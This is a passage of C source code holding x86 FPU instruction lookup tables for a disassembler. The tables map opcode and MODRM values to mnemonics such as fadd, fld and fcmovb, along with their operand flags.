inst_table_ext6, inst_table_ext7, inst_table_ext8, inst_table_ext9, inst_table_ext10, inst_table_ext11, inst_table_ext12, inst_table_ext13, inst_table_ext14, inst_table_ext15, inst_table_ext16, }; // FPU instruction tables /* * Tables are composed in two parts: * * - 1st part (index 0-7) are identified by the reg field of MODRM byte * if the MODRM is < 0xc0. reg field can be used directly as an index to table. * * - 2nd part (8 - 0x47) are identified by the MODRM byte itself. In that case, * the index can be calculated by "index = MODRM - 0xb8" * */ INST inst_table_fpu_d8[72] = { { INSTRUCTION_TYPE_FADD, "fadds", AM_E|OT_d|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FMUL, "fmuls", AM_E|OT_d|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FCOM, "fcoms", AM_E|OT_d|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FCOMP, "fcomps", AM_E|OT_d|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FSUB, "fsubs", AM_E|OT_d|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FSUBR, "fsubrs", AM_E|OT_d|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FDIV, "fdivs", AM_E|OT_d|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FDIVR, "fdivrs", AM_E|OT_d|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, }; INST inst_table_fpu_d9[72] = { { INSTRUCTION_TYPE_FLD, "flds", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FST, "fst", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FSTP, "fstp", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, // XXX: operand type is not correct { INSTRUCTION_TYPE_FPU, "fldenv", AM_E|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FPU, "fldcw", AM_E|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FPU, "fstenv", AM_E|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FPU, "fstcw", AM_E|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fnop", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fchs", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fabs", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "ftst", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fxam", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fld1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fldl2t", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fldl2e", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fldpi", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fldlg2", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fldln2", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fldz", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "f2xm1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fyl2x", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fptan", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fpatan", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fxtract", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fprem1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fdecstp", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fincstp", FLAGS_NONE|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fprem", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fyl2xp1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fsqrt", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fsincos", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "frndint", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fscale", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fsin", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fcos", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; INST inst_table_fpu_da[72] = { { INSTRUCTION_TYPE_FIADD, "fiaddl", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FIMUL, "fimull", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FICOM, "ficoml", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FICOMP, "ficompl", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FISUB, "fisubl", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FISUBR, "fisubrl", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FIDIV, "fidivl", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FIDIVR, "fidivrl", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmove", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmove", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmove", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmove", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmove", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmove", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmove", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmove", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMP, "fucompp", FLAGS_NONE|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, 